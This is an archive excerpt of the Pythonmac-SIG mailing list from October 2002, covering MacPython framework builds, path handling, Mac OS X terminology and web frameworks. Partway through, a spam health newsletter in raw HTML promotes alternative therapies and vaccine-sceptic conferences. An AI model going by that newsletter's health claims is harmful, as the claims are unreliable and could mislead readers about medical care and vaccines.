1. Build your Carbon version as a droplet, and then drop the appropriate
directory onto it (which then shows up as sys.argv[1]). Your macho version
can also use sys.argv[1], which you can supply on the command line, or you
can make an AppleScript droplet which then runs the .py file using 'do shell
script'. You can even make the directory path be a property of the
AppleScript, remembered from run to run so that it knows what to use when
the droplet is just double-clicked.

2. Use os.path.join() to handle the differences between pathname separators:

    os.path.join("dir", "subdir", "subsubdir")

will produce ":dir:subdir:subsubdir" or "dir/subdir/subsubdir" as
appropriate.

Unfortunately, this doesn't take care of the difference in root of absolute
pathnames, ie <Volume>: vs /, but you may be able to figure out the root
using os.getcwd() or sys.prefix or something. I notice that your example
uses the Python directory, and for that you can just use the value of
sys.prefix directly.

3. Put your script in the same directory, or a super-directory, of the files
you want to process, and then use relative pathnames (constructed using
os.path.join if necessary) to refer to them.

There are lots of tricks you can play like this, these are just the ones I
can think of at the moment. What you use depends on exactly what you are
trying to do. However, a good design principle is never to embed hardcoded
path names in a program -- always try to arrange for them to come from
outside.

--Neil

--
Neil Mayhew
Calgary, Alberta, Canada
niel_mayhew@mac.com

(Email address deliberately misspelled to foil spammers)



From alexp@strata.com  Fri Oct 18 22:33:25 2002
From: alexp@strata.com (Alexandre Parenteau)
Date: Fri, 18 Oct 2002 14:33:25 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <F591DB0C-E2DD-11D6-9640-000A27B19B96@oratrix.com>
Message-ID: <B9D5CC35.84F3%alexp@strata.com>

Jack,

> 4. Allows us to share a single Python engine between Python and all
> embedders of Python (such as the Python OSA component).
> 
> I think we can do an architecture without frameworks that will allow us
> to do all of these except 4.

Damn ! No embedding, do I read it well ?

Alex.



From skip@pobox.com  Fri Oct 18 23:43:26 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 18 Oct 2002 17:43:26 -0500
Subject: [Pythonmac-SIG] make frameworksinstall failed
Message-ID: <15792.36494.94682.620107@montanaro.dyndns.org>

Running from the build subdirectory of my CVS source tree, I just did:

    ../configure --with-dyld --prefix=$HOME/local --enable-frameworks
    make
    make frameworkinstall

This seemed to go fine, but then ended with:

    make: *** [libinstall] Error 1

Scrolling back through the output I see

    ...
    Compiling /Library/Frameworks/Python.framework/Versions/2.3/lib/python2.3/encodings/html_entities.py ...
    Sorry: UnicodeError: \N escapes not supported (can't load unicodedata module)
    ...
    Compiling /Library/Frameworks/Python.framework/Versions/2.3/lib/python2.3/test/test_pep263.py ...
    Sorry: MemoryError: 

Any idea how to get rid of these problems?

Thx,

-- 
Skip Montanaro - skip@pobox.com
http://www.mojam.com/
http://www.musi-cal.com/


From skip@pobox.com  Fri Oct 18 23:52:38 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 18 Oct 2002 17:52:38 -0500
Subject: [Pythonmac-SIG] I think I'm in buzzword hell...
Message-ID: <15792.37046.365900.937329@montanaro.dyndns.org>

Cocoa, Carbon, Macho Python, MacPython, AquaTk, Frameworks, ...  Where can a
poor old Linux guy find a glossary of this new set of buzzwords (Eric
Raymond's Jargon file has neither "carbon" nor "cocoa")?  Knowing how they
relate to and differ from one another would also be helpful.

Thx,

-- 
Skip Montanaro - skip@pobox.com
http://www.mojam.com/
http://www.musi-cal.com/


From meyn@cruzio.com  Sat Oct 19 00:06:13 2002
From: meyn@cruzio.com (Larry Meyn)
Date: Fri, 18 Oct 2002 16:06:13 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <F591DB0C-E2DD-11D6-9640-000A27B19B96@oratrix.com>
Message-ID: <32D7D8BB-E2EE-11D6-BACA-000A277E7E9E@cruzio.com>

On Friday, October 18, 2002, at 02:09  PM, Jack Jansen wrote:

> The framework option has the following advantages:
> ...
> 4. Allows us to share a single Python engine between Python and all 
> embedders of Python (such as the Python OSA component).
>
> I think we can do an architecture without frameworks that will allow 
> us to do all of these except 4.
>
If I understand this right, advantage #4 saves space, but has the risk 
that the embedded Python may have incompatible changes with the 
containing application.  The risk is increased when applications are 
distributed to other systems.  Losing this capability doesn't seem like 
a big loss.

> To start we build on the existing Apple-installed /usr/bin/python (or 
> any other pre-installed Python, from fink or whereever). So, our 
> MacPython-OSX installer does not necessarily include Python itself. 
> This gives two immediate advantages: we can stuff everything into 
> /Applications/Python (making installation and de-installation even 
> easier) and we can do a MacPython-OSX distribution without waiting for 
> Python 2.3. This would give people like Walt a decent way to explore 
> Python through the IDE, without having to learn about the unix command 
> line.
>
I like the idea of building on the pre-installed python, too many 
versions on one system can get confusing.  The de-coupling from the 
main Python distribution is a nice feature, especially since the OS X 
specific items will probably be under going rapid changes for the 
foreseeable future.  We just need to have an easy way to bring the 
Apple-installed up to full capability (i.e. readline.)



From Robin.Siebler@palmsource.com  Sat Oct 19 00:15:19 2002
From: Robin.Siebler@palmsource.com (Robin Siebler)
Date: Fri, 18 Oct 2002 16:15:19 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
Message-ID: <3271DBB88437ED41A0AB239E6C2554A47C6E5A@ussunm001.palmsource.com>

I don't know what all that means, but I absolutely need the OSA =
component and the CodeWarrior package (or whatever it is called).

-----Original Message-----
From: Jack Jansen [mailto:Jack.Jansen@oratrix.com]
Sent: Friday, October 18, 2002 2:10 PM
To: pythonmac-sig@python.org
Subject: [Pythonmac-SIG] Let's do it completely different!


4. Allows us to share a single Python engine between Python and all=20
embedders of Python (such as the Python OSA component).

I think we can do an architecture without frameworks that will allow us=20
to do all of these except 4.



From jwblist@olympus.net  Sat Oct 19 01:05:06 2002
From: jwblist@olympus.net (John W Baxter)
Date: Fri, 18 Oct 2002 17:05:06 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <F591DB0C-E2DD-11D6-9640-000A27B19B96@oratrix.com>
References: <F591DB0C-E2DD-11D6-9640-000A27B19B96@oratrix.com>
Message-ID: <p05200a03b9d650c773e3@[192.168.1.50]>

At 23:09 +0200 10/18/2002, Jack Jansen wrote:
>Hello...

(There will be lots of quotes of Jack's message.)

The new idea fits well with my needs, which are minority needs, I'm sure.

I need Python to run like a Unix command line tool, since that's what we do
at work.  We occasionally run X at the machine console, but from where I
work the nearest console is 17 miles away and a sizeable percentage of the
consoles are 40 miles and a ferry ride (or about 70 to 100 miles all
highway) away.

None that that means I don't want the GUI stuff and Macish stuff to be
available to others.  I just don't need it getting in my way.  It does look
as if the new idea will provide that, as Jack describes it.

[Yes...I might use it in my personal free time.  Sooner or later, I'll have
some of that, but for now it's not an issue.]

  --John the Curmudgeon
-- 
John Baxter   jwblist@olympus.net      Port Ludlow, WA, USA


From jwblist@olympus.net  Sat Oct 19 01:11:02 2002
From: jwblist@olympus.net (John W Baxter)
Date: Fri, 18 Oct 2002 17:11:02 -0700
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <p05200d06b9d5dcd8e2ed@[128.95.99.44]>
References: <20021018152701.13184.7478.Mailman@mail.python.org>
 <p05200d06b9d5dcd8e2ed@[128.95.99.44]>
Message-ID: <p05200a04b9d65340083e@[192.168.1.50]>

At 8:57 -0700 10/18/2002, Russell E Owen wrote:
> There are a things
>you have to twiddle that should not be required for future versions
>of Python (2.2.2, 2.3, etc.).

Ah, but mainline 2.2.2 has moved from "future" to "past" this week.

I haven't messed with it (that's what weekends would be for if I didn't
have work to do on the weekends).

  --John

-- 
John Baxter   jwblist@olympus.net      Port Ludlow, WA, USA


From jacobkm@cats.ucsc.edu  Sat Oct 19 01:32:24 2002
From: jacobkm@cats.ucsc.edu (Jacob Kaplan-Moss)
Date: Fri, 18 Oct 2002 17:32:24 -0700
Subject: [Pythonmac-SIG] I think I'm in buzzword hell...
In-Reply-To: <15792.37046.365900.937329@montanaro.dyndns.org>
References: <15792.37046.365900.937329@montanaro.dyndns.org>
Message-ID: <p05111b02b9d6537428f2@[10.0.1.2]>

At 5:52 PM -0500 10/18/02, Skip Montanaro wrote:
>Cocoa, Carbon, Macho Python, MacPython, AquaTk, Frameworks, ...

I don't know of any centralized site for definitions (especially 
because some terms were invented on this list), but I'll try to 
summarize for you...

Cocoa: A set of object-oriented frameowrks for native Mac OS X 
development that OS X inherited from NeXT.  Cocoa is writian in 
Objective-C, but bindings for other languages are available, 
including the PyObjC module for Python.  See 
http://developer.apple.com/cocoa/.

Carbon: APIs for developing for Mac OS X or for earlier Mac OS 
versions with the Carbon libraries (MacOS 8.1 and later).  Basically, 
Carbon is the what's left of the old-style ("Classic") MacOS 
development APIs that are available on both OS 9 and OS X.  Mac 
versions of Python have a fairly comprehensize set of bindings to the 
Carbon APIs (check out the Carbon module).  See 
http://developer.apple.com/carbon/.

(And just to be complete:)

Classic: the APIs available on pre-MacOS X systems.  These APIs are 
no longer supported under OS X, but the Classic emulation layer built 
into OS X can run most apps targeting Classic.

Frameworks: MacOS X's cool way of providing resources, inherited from 
NeXT.  Frameworks allow all files related to one resource to live in 
one place, so adding/removing frameworks is very easy.  Frameworks 
also allow things like transparent versioning and ease of updating. 
Cocoa is a set of frameworks (that live in 
/System/Library/Frameworks/), the Java that Apple provides is a 
framework, QuickTime is a framework...

AquaTk: the (still-experimental) Framework build of Tk which allows 
Tk to use native Aqua widgets and run on MacOS X without an X server 
installed.

Given all that, MachoPython and MacPython are two different "flavors" 
of Python available on MacOS X:

MachoPython: Mach-O is the MacOS X-native binary file format 
(inherited from NeXT, I belive), so MachoPython is the MacOS X native 
version of Python, which can be built from source with Apple's 
developer tools, and basically provides a version of Python which is 
just like the Python you'd get on any *nix.  MachoPython can also be 
built as a Framework (see below) which is more NeXT-like (and allows 
some other nifty things).  This version of Python runs only on MacOS 
X, and does not include the nifty Mac-only stuff that MacPython does.

MacPython: this is the Mac-specific port of Python, which requires 
CodeWarrior to build, and includes all the Mac-specific modules (the 
Carbon package, among others) and the nifty MacPython IDE.  This 
build of Python will run both on MacOS X and on MacOS 8.1 - 9.2.

I'm sure I made some mistakes in the above, so more knowledgable 
folks than me -- please correct them!

Hope this helped,

Jacob


From robin@alldunn.com  Sat Oct 19 03:15:46 2002
From: robin@alldunn.com (Robin Dunn)
Date: Fri, 18 Oct 2002 19:15:46 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
References: <F591DB0C-E2DD-11D6-9640-000A27B19B96@oratrix.com>
Message-ID: <3DB0C052.5070309@alldunn.com>

Jack Jansen wrote:
> Hello folks,
> after arguing myself blue in the face for the last year and finally 
> convincing the majority here that Frameworks Are A Good Thing I feel the 
> time has come to reverse my position. Or, at least, I'm not as convinced 
> as I was. And I think I can see advantages with going non-framework. Or 
> at least keeping both options open. I don't know, just read on and 
> comment, please.
> 
> The framework option has the following advantages:
> 1. Easy installation and de-installation, everything lives in 
> /Library/Frameworks/Python.framework or /Applications/Python.
> 2. Allows us to do applets (such as the IDE) without duplicating big 
> binaries.
> 3. Allows us to do "pythonw" and "PythonLauncher": running Python 
> scripts with a GUI that appear normally in the dock, etc.
> 4. Allows us to share a single Python engine between Python and all 
> embedders of Python (such as the Python OSA component).
> 
> I think we can do an architecture without frameworks that will allow us 
> to do all of these except 4.
> 

Sounds like it would be much simpler and more intuitive than the way 
things currently are.  I'm looking forward to it!

-- 
Robin Dunn
Software Craftsman
http://wxPython.org  Java give you jitters?  Relax with wxPython!




From mike@nthwave.net  Sat Oct 19 04:43:09 2002
From: mike@nthwave.net (Michael Mell)
Date: Fri, 18 Oct 2002 20:43:09 -0700
Subject: [Pythonmac-SIG] import img
Message-ID: <E2C009E9-E314-11D6-A953-0050E430B472@nthwave.net>

I've just upgraded from OS9.2 to 10.2.
Many of my Python tools have "import img" as a key piece of 
functionality.
Now that I'm on 10.2, this causes an Error:
	ImportError: No module named img

I can't even find the img module in the documentation for old versions. 
It doesn't seem to be part of PIL.

What gives? How was I able to run code in OS9 that won't work in X?

thanks,
mike



From jm@lists.mercola.com  Sat Oct 19 09:16:33 2002
From: jm@lists.mercola.com (jm@lists.mercola.com)
Date: Sat, 19 Oct 2002 03:16:33 -0500 (CDT)
Subject: [Pythonmac-SIG] eHealthy News You Can Use October 19, 2002 - Issue 369
Message-ID: <20021019081633.8530F33D62@mercola.com>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2719.2200" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/19/banting.htm">The First Low Carb Book Is 
Nearly 150 Years Old</A> - The first low-carbohydrate diet book was written in 
1863 by William Banting and has been attested to by nearly 150 years of 
epidemiological studies and clinical trials.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/19/belly.htm">Your Belly May Tell You If 
You Are at Risk for Heart Disease</A> - A simple and inexpensive way to measure 
a risk factor that maybe more important than your weight in determining your 
risk for heart disease.</FONT></P>
<P><A href="http://www.mercola.com/2002/oct/19/self_esteem.htm"><FONT 
face=Verdana size=2>Self-Esteem Greatest in Children and Middle-Age 
Adults</FONT></A><FONT face=Verdana size=2> - Self-esteem peaks in children and 
middle-age adults, but drops in two critical development periods - adolescence 
and old age.</FONT></P><FONT face=Verdana size=2>
<P>
<TABLE cellSpacing=0 cellPadding=0 width=250 align=right border=0>
  <TBODY>
  <TR>
    <TD vAlign=center align=middle>
      <FORM 
      action=http://www.mercola.com/cgi-bin/WebObjects/Subscription.woa/wa/subscribe 
      method=get>
      <P><INPUT size=16 name=email><FONT face=Verdana size=2> &nbsp; </FONT><INPUT type=submit value=Subscribe><FONT face=Verdana size=2> 
      </FONT></P></FORM></TD></TR></TBODY></TABLE></P>
<P><FONT size=2><FONT face=Verdana><B><FONT color=#ff0000>Not Subscribed to the 
Newsletter Yet?</FONT></B> You can subscribe by filling in your email address in 
the box to the right, and clicking Subscribe.</FONT></FONT></P></FONT>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/forms/bttbook.htm">Bioenergetic Triggerpoint 
Therapy</A> - Your Guide to Fast, Safe, Drug-Free, Do-It-Yourself Pain Relief 
written by a leading expert on the proven BTT technique, is now 
available.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/19/thyroid_balance.htm">Is Your Thyroid 
Out of Balance?</A> - Last month, the Canadian magazine "Alive" posted my 
article on thyroid health.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/19/exercise_breast_cancer.htm">Lifelong 
Exercise Lowers Breast Cancer Risk</A> - Moderate physical activity can cut a 
woman's risk for breast cancer by more than thirty percent.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/19/french_drugs.htm">France Cuts Back on 
Drugs</A> - The French will have to cut back; they can't afford 25% of the drugs 
they use. America will soon have to do the same.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/forms/eftcourse.htm">Start Improving Your Emotional 
Health Now With Your Free EFT Manual!</A> - Check out your totally FREE online 
EFT Manual, with entirely new content and photos showing you how to use this 
simple but incredibly effective technique to start eliminating negative emotions 
and habits and instilling positive ones today! </FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/jan/16/joke.htm">The World's Funniest Joke</A> 
- LaughLab, a website that asked people to submit and vote for their favorite 
gags, received over 40,000 jokes and almost 2 million ratings. They revealed 
preliminary results last December, but now the final count is 
in.</FONT></P><FONT face=Verdana size=2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><FONT 
face=Arial><FONT face=Verdana><STRONG><FONT color=#ff0000>Do you have a specific 
health question?</FONT></STRONG> Try typing it in our search engine and you will 
see if any of the 15,000 pages I have compiled will answer it for 
you.</FONT></P>
<DIV>
<DIV align=left>
<FORM action=http://www.google.com/custom>
<DIV align=center><INPUT type=hidden value=AH:center;AWFID:5cdb2968a482194d; 
name=cof><FONT face=Verdana> </FONT><INPUT type=hidden value=www.mercola.com 
name=domains><FONT face=Verdana> </FONT><INPUT type=hidden value=www.mercola.com 
name=sitesearch><FONT face=Verdana> </FONT><INPUT size=31 name=q><FONT 
face=Verdana> &nbsp; </FONT><INPUT type=submit value="Search Mercola.com" name=sa2><FONT 
face=Verdana> </FONT></FONT></FONT></DIV></FORM></DIV></DIV>
<DIV>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0>
  <TBODY>
  <TR>
    <TD align=middle>
      <TABLE cellSpacing=3 cellPadding=6 border=0>
        <TBODY>
        <TR>
          <TD align=middle width=82><IMG alt="" hspace=0 
            src="http://www.mercola.com/images/shopper_and_cart369.jpg" 
            border=0><A href="http://www.mercola.com/store.htm"></A></TD>
          <TD>
            <P><FONT face="Arial, Helvetica, sans-serif"><B><A 
            href="http://www.mercola.com/store.htm">Tools to Help You Recover 
            Your Health</A></B></FONT><FONT 
            face="Arial, Helvetica, sans-serif"><B> </B></FONT></P>
            <P><FONT face=Arial>Use these hard-to-find resources to take your 
            health to the next 
  level.</FONT></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></FONT>
<HR>
</DIV>
<H2 align=center><FONT face=Verdana color=#000000><B>Upcoming Course/Seminar 
Information</B></FONT></H2>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/nst/nst.htm">New Technique From Australia Gives 
Almost Complete Relief From Arthritis Pain</A> - Now health care practitioners 
can learn this innovative technique from Australia that can radically improve 
your ability to provide rapid relief to your clients/patients. All four 
therapists and myself use this technique nearly every day in our center. New 
Basic and Advanced Seminars have now been scheduled for 2003.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/aug/7/skasys.htm">SkaSys: Superior to Any 
Existing EAV System</A> - An incredible technology, SkaSys, enables far more 
efficient and precise bioenergetic, kinesiological, and autonomic reflex testing 
than any EAV system. Get in-depth information on the application and methods of 
SkaSys, including testing for heavy metal loads and individual detox protocols, 
in this seminar hosted by its developer, Dr. Hans Lechner.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/oct/5/apn_conference.htm">The 2nd Annual 
Conference on Applied Neurobiology</A> - The principles of ART and ARN will be 
the focus in this conference centered on Lyme Disease and Co-Infections. I will 
speak in this think-tank style discussion along with some of the world's leading 
medical practitioners.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/2002/sep/18/nvic.htm">Vaccines: A Major Conference 
Separating Fact from Fiction</A> - Over twenty-seven of the world's leading 
medical, psychological and legal experts will expose the truth behind vaccines 
in this national event that promises to influence the course of U.S. vaccine 
practice and policy. Medical practitioners and the general public are encouraged 
to attend this conference on November 7-9 in Arlington, Virginia.</FONT></P>
<P><FONT face="Verdana, Arial, Helvetica, sans-serif" size=2><A 
href="http://www.mercola.com/nst/nst.htm"></A></FONT><FONT face=Verdana 
size=2><A href="http://www.mercola.com/2001/jul/18/vaccine_seminars.htm">More 
Vaccine Seminars</A> - Opportunities to attend live lectures around the country 
on this vitally important issue of our times. Have your specific questions 
personally answered with practical alternatives.</FONT></P>
<P>
<P><!-- #BeginLibraryItem "/Library/index.bottom.lbi" -->
<HR>

<DIV><FONT face=Verdana size=2><STRONG><FONT 
color=#ff0000></FONT></STRONG></FONT>&nbsp;</DIV>
<DIV><FONT face=Verdana size=2><STRONG><FONT color=#ff0000>Having Trouble With 
the Newsletter?</FONT></STRONG><FONT face=Verdana size=2><STRONG> </STRONG>We 
are in the process of upgrading to a new e-mail server, but in the meantime you 
can go to </FONT><A href="http://www.mercola.com/"><FONT face=Verdana 
size=2>www.mercola.com</FONT></A><FONT face=Verdana size=2> and click on 
</FONT><FONT face=Verdana color=#0000ff size=2>"Current Issue"</FONT><FONT 
face=Verdana size=2> to obtain the Web version of this 
email.</FONT></FONT></DIV>
<DIV>
<P><FONT face=Verdana size=2><FONT face=Verdana size=2><STRONG>Records of all of 
the back issues of the Newsletters can be viewed by clicking </STRONG></FONT><A 
href="http://www.mercola.com/index.html"><FONT face=Verdana size=2><A 
href="http://www.mercola.com/index.html">http://www.mercola.com/index.html</A></FONT></A></FONT></P><FONT 
face=Verdana size=2>
<P><FONT face=Verdana size=2><STRONG>Are you tired of clicking on all the links 
to the articles?</STRONG> To sign up for the FULL TEXT version of this 
newsletter you can send a blank e-mail to: <A 
href="mailto:healthnews-subscribe@topica.com">Healthnews-subscribe@topica.com</A> 
The full newsletter is 20-40 pages long and can be up to 250KB, so if you have a 
slow Internet connection it will take several minutes to download the e-mail. 
WARNING: This subscription does not work if you use AOL for your 
e-mail.</FONT></FONT></P></DIV>
<HR>

<DIV align=left>
<P><FONT face=Verdana size=2><B><FONT color=#ff0000>©Copyright Dr. Joseph 
Mercola, 2002. </FONT></B>All Rights Reserved. This content may be copied in 
full, as long as copyright, contact, and creation information is given, only if 
used only in a not-for-profit format. If possible, I would also appreciate an 
endorsement and encouragement to subscribe to the newsletter. If any other use 
is desired, written permission is required.</FONT></P>
<P><FONT face=Arial size=2>You are currently subscribed as pythonmac-sig@python.org, to 
unsubscribe please send a blank email to </FONT><FONT face=Arial 
size=2>ted+unsubscribe@lists.mercola.com</FONT><FONT face=Arial 
size=2>.</FONT></P></DIV></FONT></DIV></BODY></HTML>



From lphillip@lcp.nrl.navy.mil  Sat Oct 19 14:37:37 2002
From: lphillip@lcp.nrl.navy.mil (Lee Phillips)
Date: Sat, 19 Oct 2002 09:37:37 -0400
Subject: [Pythonmac-SIG] Using MachoPython with MySQL and Apache
In-Reply-To: <p05200d10b9d6186cd992@[128.95.99.44]>; from owen@astro.washington.edu on Fri, Oct 18, 2002 at 01:07:09PM -0700
References: <p05200d10b9d6186cd992@[128.95.99.44]>
Message-ID: <20021019093737.A864@Lee-Phillipss-Computer.local.>

On Fri, Oct 18, 2002 at 01:07:09PM -0700, Russell E Owen wrote:
> [....]
> - Serve data from the database. I like the way PHP integrates with 
> apache without the need for CGIs and was wondering if something like 
> that exists for Python?
> - Should I be using ZOPE instead of apache and MySQL?

Take a good look at webware, a python package that provides classes
for bridging python objects with MySQL (and other) databases, and a
persistant appserver that works through apache. (webware.sourceforge.)
I think it's much less encumbered, better documented, and more
straightforward than Zope.


From dan@danshafer.com  Sat Oct 19 17:29:18 2002
From: dan@danshafer.com (Dan Shafer)
Date: Sat, 19 Oct 2002 09:29:18 -0700
Subject: [Pythonmac-SIG] Using MachoPython with MySQL and Apache
Message-ID: <a05200a05b9d738414714@[63.205.23.218]>

Just to offer another perspective....

I looked closely at Webware and another app package or two along with 
Zope. I chose Zope because it was less bare-bones, more fully 
fleshed-out, had a much larger audience of users both beating it up 
and extending it, and seemed able to get me from concept to finished 
product much sooner.

I've never regretted it. I run a dozen or so Zope sites now and I 
would definitely not switch to a lighter-weight product like webware, 
which I am sure is quite good (I have a couple of colleagues who use 
it).

At 9:37 AM -0400 10/19/02, Lee Phillips wrote:
>On Fri, Oct 18, 2002 at 01:07:09PM -0700, Russell E Owen wrote:
>>  [....]
>>  - Serve data from the database. I like the way PHP integrates with
>>  apache without the need for CGIs and was wondering if something like
>>  that exists for Python?
>>  - Should I be using ZOPE instead of apache and MySQL?
>
>Take a good look at webware, a python package that provides classes
>for bridging python objects with MySQL (and other) databases, and a
>persistant appserver that works through apache. (webware.sourceforge.)
>I think it's much less encumbered, better documented, and more
>straightforward than Zope.

-- 
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
How smart do you work? What's your TQ (Time Quotient)?
Find out free in 2 minutes at http://www.thinktq.com/Results2002
Free one-year training course in your email box - $120 value
Get an insightful book written and published EXCLUSIVELY FOR YOU


From Jack.Jansen@oratrix.com  Sat Oct 19 20:53:25 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sat, 19 Oct 2002 21:53:25 +0200
Subject: [Pythonmac-SIG] I think I'm in buzzword hell...
In-Reply-To: <p05111b02b9d6537428f2@[10.0.1.2]>
Message-ID: <6E50B42E-E39C-11D6-A214-000A27B19B96@oratrix.com>

On zaterdag, okt 19, 2002, at 02:32 Europe/Amsterdam, Jacob Kaplan-Moss 
wrote:
> I'm sure I made some mistakes in the above, so more knowledgable folks 
> than me -- please correct them!

Jacob,
your description was impeccable! (Hmm, is that english? Can a 
description be impeccable? Anyway, it was good:-)

For Skips peace of mind I'd only like to add that the names MachoPython 
and AquaTk will disappear shortly. OSX Open Source development is still 
in a transitional phase, where often you have the choice between an old 
OS9-compatible product, it's old unix counterpart, and a partial 
experimental integration of the two.

For reference you can compare the current situation with how the 
Windows world looked when Win95 was just out: DOS versions, Win3.11 
versions, Win32s versions and Win95 versions of the same program all 
around...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From Jack.Jansen@oratrix.com  Sat Oct 19 21:05:20 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sat, 19 Oct 2002 22:05:20 +0200
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <F591DB0C-E2DD-11D6-9640-000A27B19B96@oratrix.com>
Message-ID: <185E55C8-E39E-11D6-A214-000A27B19B96@oratrix.com>

On vrijdag, okt 18, 2002, at 23:09 Europe/Amsterdam, Jack Jansen wrote:

> Hello folks,

Just a quick clarification to my note of last night: I do *not* want to 
do away with framework builds. I realize that for the OSA component and 
MacCVS and probably others they're important. Moreover, I still think 
that framework builds have more advantages than disadvantages from a 
technical point of view.

But where I've basically ignored non-framework builds insofar as 
MacPython functionality was involved (I do make sure they keep working 
for unix work) I think I want to change that, and try and make the 
MacPython functionality available for non-framework builds too. And if 
we're able to pull this off we could maybe release a MacPython-OSX 2.2 
to the general public befre the end of the year...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From sdm7g@mac.com  Sun Oct 20 20:11:51 2002
From: sdm7g@mac.com (Steven Majewski)
Date: Sun, 20 Oct 2002 15:11:51 -0400
Subject: [Pythonmac-SIG] I think I'm in buzzword hell...
In-Reply-To: <p05111b02b9d6537428f2@[10.0.1.2]>
Message-ID: <CA317C21-E45F-11D6-A3D8-003065A7CFBA@mac.com>


On Friday, October 18, 2002, at 08:32  PM, Jacob Kaplan-Moss wrote:

... Good summary: just a couple of additions:

>
> Frameworks: MacOS X's cool way of providing resources, inherited from NeXT.
>   Frameworks allow all files related to one resource to live in one place,
>  so adding/removing frameworks is very easy.  Frameworks also allow things 
> like transparent versioning and ease of updating. Cocoa is a set of 
> frameworks (that live in /System/Library/Frameworks/), the Java that Apple 
> provides is a framework, QuickTime is a framework...
>

Also (I hope I've got the Framework/Bundle distinction right!) :
Frameworks are packaged in a Bundle (which replaces the old Classic Mac
resource forks with a directory with a special structure.) Applications
are also packaged as a Bundle. ( XXX.app is actually a directory with a
bundle bit set so that the os treats it like a single file in some cases.)
A lot of the AppKit and InterfaceBuilder/Nib functionality seems to be
dependent on running out of an Application Bundle -- this was one reason
it was hard to get the earlier pyobjc to do a real app with menu's and
all of the user interface stuff.



> MachoPython: Mach-O is the MacOS X-native binary file format (inherited 
> from NeXT, I belive), so MachoPython is the MacOS X native version of 
> Python, which can be built from source with Apple's developer tools, and 
> basically provides a version of Python which is just like the Python you'
> d get on any *nix.  MachoPython can also be built as a Framework (see 
> below) which is more NeXT-like (and allows some other nifty things).  This 
> version of Python runs only on MacOS X, and does not include the nifty 
> Mac-only stuff that MacPython does.

mach-o is indeed inherited from NeXT --  NeXT has it because it's part
of the mach microkernel that underlies both OSX and NeXTStep. OSX, like
NeXT is a BSD derived unix, but there are a few differences that are largely
due to the mach subsystems. Along with mach-o comes a rather different
dynamic linking scheme than bsd's a.out / dl* ( or linux elf, et.al. )
( And on 10.1 there were quite a few places where the bsd man pages were
not yet fixed to indicate that they were incorrect for OSX -- I hope that'
s
finally been fixed in 10.2 ! )


-- Steve Majewski



From SamuelM.Smith  Mon Oct 21 02:10:13 2002
From: SamuelM.Smith (SamuelM.Smith)
Date: Sun, 20 Oct 2002 19:10:13 -0600
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <F591DB0C-E2DD-11D6-9640-000A27B19B96@oratrix.com>
Message-ID: <D9F38EA2-E491-11D6-BB71-00039346A274@samuelsmith.org>

>
> To start we build on the existing Apple-installed /usr/bin/python (or 
> any other pre-installed Python, from fink or whereever). So, our 
> MacPython-OSX installer does not necessarily include Python itself. 
> This gives two immediate advantages: we can stuff everything into 
> /Applications/Python (making installation and de-installation even 
> easier) and we can do a MacPython-OSX distribution without waiting for 
> Python 2.3. This would give people like Walt a decent way to explore 
> Python through the IDE, without having to learn about the unix command 
> line.
>
Yes, if there is a straightforward way to use another python 
distribution like fink or a CVS install of a later version of python 
and to switch back and forth then
that would be good for me.



From billb@mousa.demon.co.uk  Mon Oct 21 09:54:58 2002
From: billb@mousa.demon.co.uk (Bill Bedford)
Date: Mon, 21 Oct 2002 09:54:58 +0100
Subject: [Pythonmac-SIG] making invisibles seen in "finder"
In-Reply-To: <OOPCBBAKMDIFBBAA@mailcity.com>
References: <OOPCBBAKMDIFBBAA@mailcity.com>
Message-ID: <p05111703b9d97144c933@mousa.demon.co.uk>

